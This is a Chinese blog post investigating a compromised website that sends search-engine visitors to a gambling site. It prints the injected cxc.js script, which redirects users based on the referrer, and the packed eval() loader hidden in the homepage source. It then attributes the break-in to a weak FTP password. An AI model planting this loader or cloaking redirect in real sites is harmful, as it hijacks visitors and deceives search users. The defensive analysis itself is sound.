记一次站点被挂马问题排查

简介: 起因,在下班准备回家之际,收到几条朋友发来的信息,说他的网站在百度搜索做信息流广告推广,但是从百度搜索点击打开就会跳转的博彩网站,让我帮忙排查下问题,是不是被挂马了,于是乎就开始了后面的故事为了保护网站隐私,假定网站地址是:http://www.

起因,在下班准备回家之际,收到几条朋友发来的信息,说他的网站在百度搜索做信息流广告推广,但是从百度搜索点击打开就会跳转的博彩网站,让我帮忙排查下问题,是不是被挂马了,于是乎就开始了后面的故事


为了保护网站隐私,假定网站地址是:http://www.xxx.com

收到消息后我尝试操作并收集到下面现象内容:

现象1:通过域名直接打开网站,可以正常打开,不会跳转到博彩站
现象2:通过百度/搜狗搜索引擎,搜索到网站后点击打开就会跳转到博彩站


开始排查

  • 网站是怎么跳转的?

网站跳转无非就是这两种:服务端重定向跳转/前端JS触发跳转,我开始用Charles抓包,列出抓包请求发起顺序大概是这样的(省略无关的请求):

  1. http://www.xxx.com
  2. https://www.cpdas8.com/cxc.js
  3. https://www.das8cx.com/ [博彩站]

先打开站点www.xxx.com返回Code=200,不是服务端重定向Code=302,是由前端发起跳转,并且注意到:cxc.js,请求头Referer=www.xxx.com,这个并非站点前端开发需要引入的脚本,打开地址看代码如下:


(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("");

看代码就知道抓到了元凶,这里执行了location.href到博彩站,但是看主页html源码里并没有cxc.js的引入,继续后面的排查


  • cxc.js是如何在主页里引入的?

带着这个疑问,打开了首页源码,大概过了下,没有发现引入脚本的地方,就开始怀疑是不是动态引入的,再次查看源码,看到一段被混淆加密压缩过代码:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))

感觉事蹊跷,不管三七二十一先到谷歌开发者工具控制台里执行看看,截取重要提示信息:

A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write

image

明了了,就是这段脚本把cxc.js动态的引入到站点里,现在跳转的原因是找到了,但是为啥会好端端的多了这段代码,继续后面的分析


  • 为什么主页源码会被篡改加入了一段脚本呢?

站点是通过阿里云服务器的虚拟空间进行部署的,服务器本身应该没有问题
目前猜测有两种可能性:

  1. FTP暴力破解,成功连接上FTP后进行篡改
  2. 站点安全漏洞,被上传了木马程序后被执行,篡改了源码

后面问了下FTP密码是设置的挺简单的,所以评估可能是FTP暴力破解导致,细思极恐


番外,里面还有段篡改SEO关键词代码,这里也需要去掉:
篡改了keyword/description/title

image


问题总结:

通过抓包和代码分析可以知道跳转到博彩站的流程是这样的:

  1. 打开首页,脚本执行了evel(混淆加密压缩),动态引入cxc.js
  2. 引入的cxc.js里执行了(function (){/* 跳转逻辑 */})(),如果站点referrer是搜索引擎过来的就跳转到博彩站,不是就不做跳转直接正常打开站点
  3. 知道原理后就很清晰明白上面现象的原因,并且可以很清楚的怎么去修复

站点源码被侵入篡改问题:

  • 站点的开发需要注意WEB安全问题,文件上传漏洞,脚本注入,SQL注入,跨站攻击,等
  • 站点的服务器/FTP/后台账号密码,不要设置的太随意,要有一定的复杂度,不然很容易被暴力破解

辅助手段-网站安全检测:



目录
打赏
0
0
0
0
4
分享
相关文章
666条数据,训练LongWriter模型,写万字长文!模型&数据集均开源!
大模型的上下文(Context)支持越来越长的背景下,让通用的大模型遵循指令来保障长文本输出的长度,依然是一个挑战。
1000W长连接,如何建立和维护?千万用户IM 架构设计
最近有小伙伴在面试 美团,又遇到了 IM 架构问题。小伙伴支支吾吾的说了几句,面试挂了。 所以,尼恩给大家做一下系统化、体系化的梳理,使得大家内力猛增,可以充分展示一下大家雄厚的 “技术肌肉”,**让面试官爱到 “不能自已、口水直流”**,然后实现”offer直提”
|
9月前
|
Leetcode第46题(全排列)
这篇文章介绍了LeetCode第46题“全排列”的解题方法,使用深度优先搜索(DFS)和回溯算法来生成给定数组的所有可能排列。
120 0
Leetcode第46题(全排列)
专业智能体指导让小模型学会数学推理!微调Mistral-7B实现86.81%准确率
【5月更文挑战第13天】Orca-Math研究展示如何用小模型解决小学数学题,通过70亿参数的SLM在GSM8K基准测试上达到86.81%准确率。采用合成数据集和迭代学习技术,包括多智能体协作创建问题集及“偏好学习”优化解决方案。虽优于其他大、小模型,但可能不适用于复杂数学问题,且依赖高质量合成数据集的创建。[论文链接](https://arxiv.org/abs/2402.14830)
259 4
太爽了!这10个 Vite 插件,帮我在开发中节省了大量时间!!
太爽了!这10个 Vite 插件,帮我在开发中节省了大量时间!!
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问